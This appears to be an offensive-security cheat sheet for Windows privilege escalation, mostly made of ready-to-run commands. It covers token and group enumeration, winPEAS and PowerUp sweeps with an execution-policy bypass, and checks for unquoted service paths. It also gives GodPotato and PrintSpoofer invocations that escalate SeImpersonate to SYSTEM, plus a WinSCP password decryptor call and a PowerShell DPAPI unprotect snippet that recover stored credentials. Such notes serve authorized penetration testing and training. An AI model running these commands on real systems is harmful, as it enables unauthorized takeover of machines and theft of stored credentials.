Windows Privilege Escalation
Token privileges first, then the winPEAS/PowerUp sweep and the potato attack when SeImpersonate is on the table.
The Windows equivalent of the trinity: token privileges first. SeImpersonate/SeAssignPrimaryToken means a potato attack, while unquoted service paths and weak service ACLs are the other reliable wins.
Tokens, services & misconfigs#
Read your privileges and groups, let winPEAS and PowerUp sweep, then check services for unquoted paths and modifiable binaries.
powershell
# who am I, what privileges, what groups
whoami /all
whoami /priv
# winPEAS does the sweep; PowerUp finds the misconfigs
.\winPEASx64.exe
powershell -ep bypass -c "Import-Module .\PowerUp.ps1; Invoke-AllChecks"
# services: unquoted paths + modifiable binaries
wmic service get name,pathname,startmode | findstr /i /v "C:\Windows"
sc qc <service>SeImpersonate → SYSTEM#
When you hold SeImpersonate, pick the potato that matches the OS build and impersonate your way to SYSTEM.
bash
# SeImpersonate -> SYSTEM (pick the potato that matches the OS)
.\GodPotato-NET4.exe -cmd "cmd /c whoami"
.\PrintSpoofer64.exe -i -c cmdStored credentials: WinSCP & DPAPI#
App config files hoard reusable creds. WinSCP stores session passwords in reversible obfuscation (recoverable with no master password), and DPAPI .crd/blobs unprotect on the host they are bound to.
bash
# WinSCP.ini (note: AppData\Local\Programs\WinSCP\WinSCP.ini or Roaming) -> plaintext
python3 winscp_decrypt.py <user> <host> '<encrypted_blob>'powershell
# DPAPI blob bound to the machine context — decrypt ON the host
$b = [IO.File]::ReadAllBytes("C:\Temp\secret.crd")
Add-Type -AssemblyName System.Security
$d = [Security.Cryptography.ProtectedData]::Unprotect($b,$null,'LocalMachine')
[Text.Encoding]::UTF8.GetString($d)